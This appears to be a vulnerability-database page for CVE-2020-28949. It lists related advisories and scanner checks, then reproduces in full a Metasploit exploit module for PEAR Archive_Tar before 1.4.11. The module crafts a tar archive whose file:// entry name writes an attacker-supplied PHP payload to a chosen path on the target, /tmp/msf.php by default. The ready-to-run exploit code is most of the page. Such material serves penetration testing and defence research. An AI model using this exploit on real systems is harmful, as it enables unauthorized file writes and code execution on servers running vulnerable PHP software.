| Reporter | Title | Published | Views | Family All 128 |
|---|---|---|---|---|
| CVE-2020-28949 | 19 Nov 202000:00 | – | attackerkb | |
| Amazon Linux 2 : php-pear (ALAS-2021-1584) | 7 Jan 202100:00 | – | nessus | |
| Amazon Linux AMI : php7-pear (ALAS-2021-1466) | 14 Jan 202100:00 | – | nessus | |
| Alibaba Cloud Linux 3 : 0161: php:7.4 (ALINUX3-SA-2022:0161) | 14 May 202500:00 | – | nessus | |
| CentOS 8 : php:7.4 (CESA-2022:6542) | 15 Sep 202200:00 | – | nessus | |
| CentOS 7 : php-pear (RHSA-2022:7340) | 9 Oct 202400:00 | – | nessus | |
| Debian DLA-2465-1 : php-pear security update | 24 Nov 202000:00 | – | nessus | |
| Debian DLA-2466-1 : drupal7 security update | 30 Nov 202000:00 | – | nessus | |
| Debian DSA-4817-1 : php-pear - security update | 21 Dec 202000:00 | – | nessus | |
| Drupal 7.x < 7.75 / 8.x < 8.8.12 / 8.9.x < 8.9.10 / 9.0.x < 9.0.9 Multiple Vulnerabilities (SA-CORE-2020-013) | 27 Nov 202000:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/tar'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PEAR Archive_Tar < 1.4.11 Arbitrary File Write',
'Description' => %q{
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained
within filenames to write an arbitrary file containing user controlled content to an arbitrary file
on disk. Note that the file will be written to disk with the permissions of the user that PHP is
running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
privileged.
},
'License' => MSF_LICENSE,
'Author' =>
[
'gwillcox-r7', # Metasploit module
'xorathustra', # Original advisory and PoC
],
'References' =>
[
['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949'],
['CVE', '2020-28949']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Archive_Tar < 1.4.11', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-11-17'
)
)
register_options([
OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
])
end
def exploit
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
io.write payload.encoded
end
end
tarfile.rewind
file_buffer = tarfile.read
print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
file_create file_buffer
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation